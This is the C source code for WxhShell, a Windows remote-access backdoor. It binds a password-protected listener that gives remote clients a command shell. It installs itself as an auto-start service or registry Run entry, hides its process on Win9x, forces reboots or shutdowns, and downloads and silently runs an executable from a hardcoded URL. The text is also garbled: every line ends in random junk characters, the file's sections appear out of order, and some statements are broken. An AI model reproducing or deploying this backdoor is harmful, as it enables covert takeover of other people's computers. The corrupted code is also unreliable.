    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB= cc  
    else { #3ro?w  
    closesocket(wsh); vT<wd#  
    ExitThread(0); U=1`. Ove  
    } `U>b6 {K  
    break; !(AFT!  
    } MvwJ(3  
  // 获取shell K OHH74}_  
  case 's': { s 17gi,"X  
    CmdShell(wsh); K`Zb;R X  
    closesocket(wsh); YVV $g-D}  
    ExitThread(0); I6 Q_A  
    break; 745V!#3!M  
  } RloPP  
  // 退出 03jBN2[!  
  case 'x': { 5|={1Lp24g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D`@U[`Sw  
    CloseIt(wsh); g<5Pc,  
    break; [ESs?v$  
    } ?'_7#0R_0  
  // 离开 dM$G)9N)K  
  case 'q': { /XK`v=~(l{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w!k4&Rb3  
    closesocket(wsh); J0 z0%p   
    WSACleanup(); f9bz:_;W_  
    exit(1); S#z8H+'  
    break; 2gI_*fG1  
        } C+IE<=%F  
  } cr;`0  
  } :iC\#i]6  
VNot4 62L  
  // 提示信息 ee?ZkU#@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*; 8m'  
} c|a|z}(/J  
  } `lOoT  
Xr;noV-X  
  return; W3j|%  
} r6_a%A*  
=_:L wmI  
// shell模块句柄 6M|%nBN$|  
int CmdShell(SOCKET sock) c<x6_H6[8  
{ tB?S0;yXjd  
STARTUPINFO si; :QSW^x  
ZeroMemory(&si,sizeof(si)); uzA'D~)P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D6:J*F&?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2^lT!X@  
PROCESS_INFORMATION ProcessInfo; <plR<iI.  
char cmdline[]="cmd"; &;3z 1s/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U2?gODh'  
  return 0; wLSYzz  
} nx]b\A  
?LFSR  
// 自身启动模式 i(kK!7W35  
int StartFromService(void) <LZvh8  
{ mR@Xt#  
typedef struct o/ 5 Fg>d  
{ ZEJa dR  
  DWORD ExitStatus; @z q{#7%z  
  DWORD PebBaseAddress; F}[;ytmUS  
  DWORD AffinityMask; ,99G2E v4c  
  DWORD BasePriority; 'Mqa2o'M  
  ULONG UniqueProcessId; j06oAer 9  
  ULONG InheritedFromUniqueProcessId; Z9^$jw]  
}   PROCESS_BASIC_INFORMATION; jYZWf `X~  
v w;  
PROCNTQSIP NtQueryInformationProcess; MF(~!SOIG  
/Q_\h+ `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N^N?!I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a~"X.xT\R  
DNe^_v)]|  
  HANDLE             hProcess; E e&$9 )t  
  PROCESS_BASIC_INFORMATION pbi; { "c,P:S]  
__c_JU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8hp]+k_y  
  if(NULL == hInst ) return 0; YTh4&wm  
L?(rv.lb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bb `^,?m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mjHY-lK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AUV$ S2  
d2C:3-4  
  if (!NtQueryInformationProcess) return 0; d(Ou\7  
B6o AW,3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z\5Nni/~6D  
  if(!hProcess) return 0; 0wcWDE 9  
b2%[9) "I.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \&90$>h  
0^z$COCv  
  CloseHandle(hProcess); uy{KV"%"^g  
1hG O*cq!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BI]t}7  
if(hProcess==NULL) return 0; WG{/I/bJ_  
mio'm  
HMODULE hMod; cf'Z#NfQ  
char procName[255]; ?Gfe?  
unsigned long cbNeeded; V:J6eks_  
Us5 JnP5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sSK$  
8msDJ {,X  
  CloseHandle(hProcess); t79MBgZ  
bwFc>{Wo5  
if(strstr(procName,"services")) return 1; // 以服务启动 !Ua#smZ  
u<zDZ{jt)  
  return 0; // 注册表启动 u{,^#I}  
} 0%/(p?]M  
^D|c  
// 主模块 Yw<:I&  
int StartWxhshell(LPSTR lpCmdLine) i=T/}c)  
{ ]FBfh.#X@  
  SOCKET wsl; c`QsKwa  
BOOL val=TRUE; U\{Z{F%8  
  int port=0; ENzeVtw0  
  struct sockaddr_in door; 8hg(6 XUG  
(~oPr+d  
  if(wscfg.ws_autoins) Install(); Vi_|m?E  
5P!17.W'u  
port=atoi(lpCmdLine); IM/\t!*7  
K~>kruO";  
if(port<=0) port=wscfg.ws_port; kuaov3Ui  
=Yk$Q\c  
  WSADATA data; 0*/~9n-Vl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;}qCIyuO]  
+h/$_5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ijB,Q>TgO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x{}m)2[Y  
  door.sin_family = AF_INET; o<4LL7$A!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .R,8<4  
  door.sin_port = htons(port); OA0\b_  
`L>'9rbZO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { elN3B91\6r  
closesocket(wsl); zU%aobZ  
return 1; `ijX9c  
} \ck3y]a[  
7>LhXC  
  if(listen(wsl,2) == INVALID_SOCKET) { J:(l&  
closesocket(wsl); 4hs4W,2!  
return 1; SccU @3.X~  
} HNPr| (  
  Wxhshell(wsl); AVjtK  
  WSACleanup(); o v~m?Y]h  
:EjIV]e  
return 0; U DG _APf  
)94R\f  
} r%m2$vx#  
2i)y'+s  
// 以NT服务方式启动 1"k@O)?JP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :U s-^zVr  
{ x@~V975Y  
DWORD   status = 0; [~3p+  
  DWORD   specificError = 0xfffffff; *)1,W+A5L  
/%7eo?@,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m[pz u2R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WJ*DWyd''  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `uj`ixcR  
  serviceStatus.dwWin32ExitCode     = 0; =bzTfki  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ =ikxZyO  
  serviceStatus.dwCheckPoint       = 0; d<Di;5  
  serviceStatus.dwWaitHint       = 0; w <ID<  
Ou%>Dd5|?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bCF63(0  
  if (hServiceStatusHandle==0) return; a srkuAS  
KlPH.R3MPO  
status = GetLastError(); jc<3\ 7  
  if (status!=NO_ERROR) OW>U 5 \q  
{ ]V_9[=%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0)B+ :  
    serviceStatus.dwCheckPoint       = 0; MouYZI)  
    serviceStatus.dwWaitHint       = 0; wg_Z!(Hr#  
    serviceStatus.dwWin32ExitCode     = status; l;2bBx7vW  
    serviceStatus.dwServiceSpecificExitCode = specificError; s$en5)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g`j%jQuY  
    return; 2I7P}=  
  } +*dJddz   
a AuQw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !ZVMx*1Cf  
  serviceStatus.dwCheckPoint       = 0; Y5 dt?a  
  serviceStatus.dwWaitHint       = 0; }?JO[Q +  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TaC)N  
} rcK*",>  
}Z6/b _kV  
// 处理NT服务事件,比如:启动、停止 ?|33Np)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~-6;h.x=  
{ {1Qwwhov  
switch(fdwControl) S92Dvw?  
{ }&j&T9oX  
case SERVICE_CONTROL_STOP: zehF/HBzE  
  serviceStatus.dwWin32ExitCode = 0; /vhh2`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ax<0grK  
  serviceStatus.dwCheckPoint   = 0; 2'_sGAH  
  serviceStatus.dwWaitHint     = 0; Rq*m x<HDX  
  { qfu;X-$4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,rd+ dN  
  } U:>O6"  
  return; 5~kf:U%~  
case SERVICE_CONTROL_PAUSE: 0kkiS 3T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _D:/?=y;e  
  break; EW`3h9v~  
case SERVICE_CONTROL_CONTINUE: !|!V}O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $`  
  break; >C i=H(8vN  
case SERVICE_CONTROL_INTERROGATE: mF1oY[xa_  
  break; &ke4":7X  
}; ^2=zp.)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd"*mL d  
} k5($b{  
*<@  
// 标准应用程序主函数 QZ6M,\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8_lD*bEt   
{ 4MIVlg9  
x83XJFPWL  
// 获取操作系统版本 (ZnA#%  
OsIsNt=GetOsVer(); 5&>(|Y~I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 82<L07fB  
hYV{N7$U|  
  // 从命令行安装 Cfj*[i4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?`vb\K<5H;  
wFvilF V  
  // 下载执行文件 +k>v^sz  
if(wscfg.ws_downexe) {  84{<]y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N 8OPeY  
  WinExec(wscfg.ws_filenam,SW_HIDE); __9673y  
} 8,R]R=  
*w _j;  
if(!OsIsNt) { 6/z}-;,W'  
// 如果时win9x,隐藏进程并且设置为注册表启动 qgDBu\  
HideProc(); a'\`Mi@rb  
StartWxhshell(lpCmdLine); Cn"N5(i  
} "7 l}X{b  
else #Kl;iY:n  
  if(StartFromService()) )#Id 2b~  
  // 以服务方式启动 zx!1jS  
  StartServiceCtrlDispatcher(DispatchTable); YT_kMy>  
else 52"/Zr}j  
  // 普通方式启动 g R6:J  
  StartWxhshell(lpCmdLine); NlDM/  
iZ:-V8{  
return 0; !nu['6I%  
} ,&k 5Qq  
wOsr#t7  
[9L(4F20  
?>&8,p17  
=========================================== ^_oLhNoez2  
;A C] *  
Ue%0.G|<W  
lA1R$  
`i{:mio  
Re2kD/S3  
" cqq+#39iC  
j]P|iL  
#include <stdio.h> n`hSn41A  
#include <string.h> H5 -I}z  
#include <windows.h> |gaZq!l  
#include <winsock2.h> & #|vGhA  
#include <winsvc.h> 7#&s G  
#include <urlmon.h> 4qMHVPJv\  
g&[g?L  
#pragma comment (lib, "Ws2_32.lib") 9\;EX  
#pragma comment (lib, "urlmon.lib") V *] !N  
qM`SN4C  
#define MAX_USER   100 // 最大客户端连接数 Vlf@T  
#define BUF_SOCK   200 // sock buffer 5 9 09O  
#define KEY_BUFF   255 // 输入 buffer  2AluH8X/  
(lm/S_U$  
#define REBOOT     0   // 重启 L{=z}QO  
#define SHUTDOWN   1   // 关机 P~#jvm!  
#K[ @$BY:  
#define DEF_PORT   5000 // 监听端口 qq/Cn4fN8  
1Tl("XV3  
#define REG_LEN     16   // 注册表键长度 MVCCh+,GI  
#define SVC_LEN     80   // NT服务名长度 C+iP @~  
}[Y):Yy  
// 从dll定义API X4TUi8ht!]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4e(@b3y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uag1vW,c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rfZA21y{?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F7hQNQu:  
0uvL,hF  
// wxhshell配置信息 M]2 c-  
struct WSCFG { 7%<jZ =  
  int ws_port;         // 监听端口 Ns $PS\  
  char ws_passstr[REG_LEN]; // 口令 LY>JE6zTt  
  int ws_autoins;       // 安装标记, 1=yes 0=no /t/q$X  
  char ws_regname[REG_LEN]; // 注册表键名 &><`?  
  char ws_svcname[REG_LEN]; // 服务名 fx|9*|E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4S=lO?\"A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Z.JOwi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RS1oPY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =f["M=)ZJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,t[D1KZt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  ^ "f  
f]lDJ?+ M  
}; i6-K!  
:JS} (  
// default Wxhshell configuration *vb)d0}P  
struct WSCFG wscfg={DEF_PORT, @Q^;qMy  
    "xuhuanlingzhe", @4|/| !  
    1, v:>P;\]r9M  
    "Wxhshell", 8 2qe|XD4p  
    "Wxhshell", f6#H@ X  
            "WxhShell Service", p<jr&zVEc>  
    "Wrsky Windows CmdShell Service", UOu&sg*o2B  
    "Please Input Your Password: ", OU+*@2")t  
  1, J0K"WmW  
  "http://www.wrsky.com/wxhshell.exe", H0HYb\TX?  
  "Wxhshell.exe" ,&9|Ac?$  
    }; 5(W9Jj]  
3k/Mig T  
// 消息定义模块 v Zxy9Wmc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Ga6O2:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M]'AA Uo8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o i?ak  
char *msg_ws_ext="\n\rExit."; M~6I-HexT|  
char *msg_ws_end="\n\rQuit."; /<C=9?Ok  
char *msg_ws_boot="\n\rReboot..."; IlrmXSr  
char *msg_ws_poff="\n\rShutdown..."; 2V]2jxOQ  
char *msg_ws_down="\n\rSave to "; W1s|7  
s,RS}ek~|  
char *msg_ws_err="\n\rErr!"; 3:gk:j#  
char *msg_ws_ok="\n\rOK!"; 5Zov< +kE  
1K`A.J:Uy  
char ExeFile[MAX_PATH]; BCbW;w8aI  
int nUser = 0; /[s$A?  
HANDLE handles[MAX_USER]; u"%fz8v  
int OsIsNt; )\(pDn$W  
GyCpGP|AZ  
SERVICE_STATUS       serviceStatus; kr?| >6?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A3n"zxU  
-'(:Sq,4o  
// 函数声明 p5KNqqZZ  
int Install(void); U]acm\^Z  
int Uninstall(void); Z Kvh]  
int DownloadFile(char *sURL, SOCKET wsh); #cs!`Ngb+  
int Boot(int flag); HL?pnT09  
void HideProc(void); YV msWuF  
int GetOsVer(void); u v5@Alm  
int Wxhshell(SOCKET wsl); E;sltl  
void TalkWithClient(void *cs); }FXRp=s  
int CmdShell(SOCKET sock); 3XRG"  
int StartFromService(void); D6t]E)FH  
int StartWxhshell(LPSTR lpCmdLine); RBXoU'.  
!=we7vK}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lySaJ d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NSq"\A\  
-AE/,@\P  
// 数据结构和表定义 DXt^Ym5Cv  
SERVICE_TABLE_ENTRY DispatchTable[] = S%oGBY*Z  
{ v<wT`hiKW  
{wscfg.ws_svcname, NTServiceMain}, R32d(2%5K  
{NULL, NULL} z -D pLV  
}; dUZ&Ty^{  
"DpQnhvbB  
// 自我安装 JF gN  
int Install(void) ry0 =N^  
{ 2}b bdXx  
  char svExeFile[MAX_PATH]; ?<;<#JN  
  HKEY key; .tNB07=7  
  strcpy(svExeFile,ExeFile); 3(%,2  
#!/Nmd=Nj  
// 如果是win9x系统,修改注册表设为自启动 8'_Y=7b0Nw  
if(!OsIsNt) { ^Ram8fW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S\A[Z&k 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hd~rC*I  
  RegCloseKey(key); rx/6x(3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;qMlGXW*q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V'.|IuN  
  RegCloseKey(key); pB./L&h  
  return 0; i`qh|w/b_  
    } =S,<yQJ  
  } 9o`3g@6z  
} 7 SZR#L  
else { : +Kesa:E  
5*$Zfuf  
// 如果是NT以上系统,安装为系统服务 2e"}5b5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _HsvF[\[  
if (schSCManager!=0) sYpogFfV  
{ [w f12P  
  SC_HANDLE schService = CreateService YC'~8\x3z  
  ( @Hh"Y1B  
  schSCManager, B}X#oA  
  wscfg.ws_svcname, b G)MG0<TT  
  wscfg.ws_svcdisp, }b`*%141  
  SERVICE_ALL_ACCESS, |xm|Q(PG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =&b[V"  
  SERVICE_AUTO_START, 8H?AL RG  
  SERVICE_ERROR_NORMAL, B5G$o{WM  
  svExeFile, }^7V^W  
  NULL, SfUUo9R(sm  
  NULL, h.0K PF]O  
  NULL, Hw{Y.@)4R  
  NULL, 1tW:(~ =a;  
  NULL Fev3CV$  
  ); T#7^6Ks+1  
  if (schService!=0) Ks(U]G"V  
  { U5"OhI  
  CloseServiceHandle(schService); yxbTcZ  
  CloseServiceHandle(schSCManager); Vm.@qO*=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y=Qf!Cq]  
  strcat(svExeFile,wscfg.ws_svcname); vuBA&j0C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5g5NTm`=<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GwBQ p Njy  
  RegCloseKey(key); |T*qAJ8c  
  return 0; P hu| hx<  
    } n bk(F D6  
  } [[Z>(d$8  
  CloseServiceHandle(schSCManager); TzGm562o%  
} U.OX*-Cd  
} g/p }r.  
VWt'Kx"  
return 1; i:ZA{hA`c  
} Ah {pidUx  
AW5g (  
// 自我卸载 ;0}2@Q2@ZK  
int Uninstall(void) mC92J@m/L!  
{ PBtU4)  
  HKEY key; E e>j7k.G.  
\DK*> k  
if(!OsIsNt) { &,]+>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D|9fHMg %  
  RegDeleteValue(key,wscfg.ws_regname); vWs c{9  
  RegCloseKey(key); (}1f]$V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VAGMI+ -  
  RegDeleteValue(key,wscfg.ws_regname); 4tJ4X' U  
  RegCloseKey(key); _`>7 Q) ,7  
  return 0; rJp6d :M  
  } ]bb}[#AY  
} C} _:K)5q  
}  <z2mNq  
else { F*VMS  
vp-7>Wj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [oLQd-+  
if (schSCManager!=0) pVS2dwBqE  
{ ^]&{"!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I?Fa  
  if (schService!=0) + t4m\/y  
  { DAHf&/J K  
  if(DeleteService(schService)!=0) { K"j=_%{  
  CloseServiceHandle(schService); 9dtGqXX  
  CloseServiceHandle(schSCManager); :iB%JY Ad  
  return 0; k^c=y<I  
  } :b*`hWnQ  
  CloseServiceHandle(schService); Z[u,1l.T  
  } K/v-P <g  
  CloseServiceHandle(schSCManager); 1Z8Oh_D C  
} k<zGrq=8J  
} 2Q|*xd4B^  
UMQW#$~C{g  
return 1; 3}{5 X'  
} IA#*T`  
N('DIi*or  
// 从指定url下载文件 ,9wenr  
int DownloadFile(char *sURL, SOCKET wsh) R(N(@KC  
{ 7u5\#|yL  
  HRESULT hr; u%T$XG  
char seps[]= "/"; %yM' Z[-  
char *token; N3p 7 0  
char *file; ."Ix#\|x  
char myURL[MAX_PATH]; g*?+ ~0"`Y  
char myFILE[MAX_PATH]; =GKYroNM  
GtJ*&=(  
strcpy(myURL,sURL); ANQa2swM  
  token=strtok(myURL,seps); )-KE4/G  
  while(token!=NULL) Q;ZHx.ye{  
  { \}QuNwc   
    file=token; 2$zq (  
  token=strtok(NULL,seps); a& aPBv1  
  } afiK!0col2  
vLFaZ^(  
GetCurrentDirectory(MAX_PATH,myFILE); OMI!=Upz  
strcat(myFILE, "\\"); y{Y+2}Dv/  
strcat(myFILE, file); [2 w <F[  
  send(wsh,myFILE,strlen(myFILE),0); ]q[  
send(wsh,"...",3,0); w+q;dc8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9'#.>Q>0=j  
  if(hr==S_OK) e$+f~~K  
return 0; a05:iFoJ  
else *R\/#Y|  
return 1; xT?}wF  
_q$LrAT  
} ,x"yZ  
QC5f:BwM  
// 系统电源模块 ^Z4q1i)JO  
int Boot(int flag) l3?,gd.-  
{ uj9tr`Zh  
  HANDLE hToken; P,;b'-5C  
  TOKEN_PRIVILEGES tkp; %>9+1lUhV  
@W\4UX3dK  
  if(OsIsNt) { ?~JxO/K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |8qK%n f}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u~- fK'/!|  
    tkp.PrivilegeCount = 1; QB3d7e)8>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }d3N`TT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t#pqXY/;D  
if(flag==REBOOT) { eIUuq&(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i=X*  
  return 0; w^rb|mKo  
} a}qse5Fr  
else { M`+e'vdw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k CW!m  
  return 0; gUH'DS]{  
} Hdbnb[e  
  } UK~B[=b9  
  else { 9p\Hx#^  
if(flag==REBOOT) { 7hN6IP*so  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dj ]Hgg  
  return 0; q"LJwV}W  
} y }&4HrT&  
else { <% 7P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @Tfwh/UN  
  return 0; | 2.e0Z]k  
} j`|^s}8t  
} Ld}(*-1i  
cbu nq"  
return 1; NM1cyZ  
} C*EhexK,}  
2 ]DCF  
// win9x进程隐藏模块 eN| HJ=  
void HideProc(void) N[bR&# p  
{ %%+mWz a  
IglJEH[+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6}i&6@Snq?  
  if ( hKernel != NULL ) wCU&Xb$F  
  { ),;D;LI{S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TvWU[=4Yk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +\k9w.[:/  
    FreeLibrary(hKernel); UR/qVO?  
  } 0/SC  
L* k hj3;  
return; qJ X+[PJ  
} B3cf] S%  
AFINm%\/0  
// 获取操作系统版本 ~X~xE]1o|U  
int GetOsVer(void) iz9\D*or  
{ }c35FM,  
  OSVERSIONINFO winfo; Z[})40[M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UVT >7  
  GetVersionEx(&winfo); $(KIB82&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?@lx  
  return 1; Esz1uty  
  else |B%BwE  
  return 0; zM_DE  
} x5fgF;  
rb *C-NutE  
// 客户端句柄模块 J}) $  
int Wxhshell(SOCKET wsl) wuIsO;}/9  
{ %$ir a\ sM  
  SOCKET wsh; rq<`(V'2  
  struct sockaddr_in client; \'; t*  
  DWORD myID; |{7e#ww]  
^sT +5M^  
  while(nUser<MAX_USER) ?#BZ `H  
{ W>}Qer4  
  int nSize=sizeof(client); #aitESbT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WyBQ{H{So  
  if(wsh==INVALID_SOCKET) return 1; `jb0 +{08  
^ o $W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &\"Y/b]  
if(handles[nUser]==0) !B [1zE  
  closesocket(wsh); ]r/(n]=(  
else v:veV.y  
  nUser++; i!SW?\  
  } 4Q$j]U&b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?JXBWB4  
670J{b  
  return 0; q)K-vt)98  
} j*;*Ka w  
Z7/vrME6  
// 关闭 socket bK$/,,0=X/  
void CloseIt(SOCKET wsh) ~:/%/-^  
{  ``(}4 a  
closesocket(wsh); [^?13xMb  
nUser--; ;f".'9 l^  
ExitThread(0); }.fL$,7a  
} E/wQ+rv  
,_.@l+BM.  
// 客户端请求句柄 B#HnPUUK  
void TalkWithClient(void *cs) $kxu;I  
{ q3c*<n g#  
FasI'Ulk  
  SOCKET wsh=(SOCKET)cs; UfK4eZx*`  
  char pwd[SVC_LEN]; &Q'\WA'  
  char cmd[KEY_BUFF]; lQh E]m>+  
char chr[1]; CDQJ bvx  
int i,j; I;Al? &uw  
\yih 1Om>~  
  while (nUser < MAX_USER) { U9<_6Bsd  
/Y;+PAy  
if(wscfg.ws_passstr) { n\Z^K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tv 4s12&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fy 4Tvg  
  //ZeroMemory(pwd,KEY_BUFF); *oEv,I_  
      i=0; gf:vb*#Wa  
  while(i<SVC_LEN) { ?gd'M_-J,  
z6p#fsD  
  // 设置超时 -]Q3/"Q  
  fd_set FdRead; (y=dR1p  
  struct timeval TimeOut; ltNuLZ  
  FD_ZERO(&FdRead); DapQ}2'_  
  FD_SET(wsh,&FdRead); I`/]@BdgY  
  TimeOut.tv_sec=8; dzgs%qtK  
  TimeOut.tv_usec=0; PzIy">plm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pGY [f@_x-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Y[f,ia  
b%3Q$wIJ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W:`5nj]H9  
  pwd=chr[0]; E/:+@'(k  
  if(chr[0]==0xd || chr[0]==0xa) { e.h~[^zg  
  pwd=0; a4yOe*Ak,F  
  break; tW:W&|q  
  } @kwLBAK}@  
  i++; sEoZ1E  
    } N1YgYL  
{udrT"h  
  // 如果是非法用户,关闭 socket OfD@\;L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NOF?LV  
} @b]VCv0*f%  
jZa25Z00  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >oe4mW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B1y<.1k  
6eD(dZ  
while(1) { TRSOO}  
v]66.-  
  ZeroMemory(cmd,KEY_BUFF); '/Cg*o/  
(d54C(")  
      // 自动支持客户端 telnet标准   HMF8;,<_w?  
  j=0; ,`D/sNP ,q  
  while(j<KEY_BUFF) { ov1Wr#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); La\Q'0  
  cmd[j]=chr[0]; /r>IV`n{  
  if(chr[0]==0xa || chr[0]==0xd) { UV?[d:\>'  
  cmd[j]=0; =ZG<BG_  
  break; Er`TryN|}  
  } nARxn#<+  
  j++; XQK^$Iq]V  
    } A)OdQFet(  
fG<Dhz@  
  // 下载文件 9Kc0&?q@D  
  if(strstr(cmd,"http://")) { 1W*V2`0>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SxMxe,.|  
  if(DownloadFile(cmd,wsh)) DD2adu^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(:{InpV%A  
  else !{ $qMhT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mRwXN*Izw  
  } "P MO  
  else { ] F*|U`  
|drf"lX<{  
    switch(cmd[0]) { R'Sa?6xS4  
  R_maNfS]Z  
  // 帮助 <[bQo&B2 E  
  case '?': { JK[T]|G  
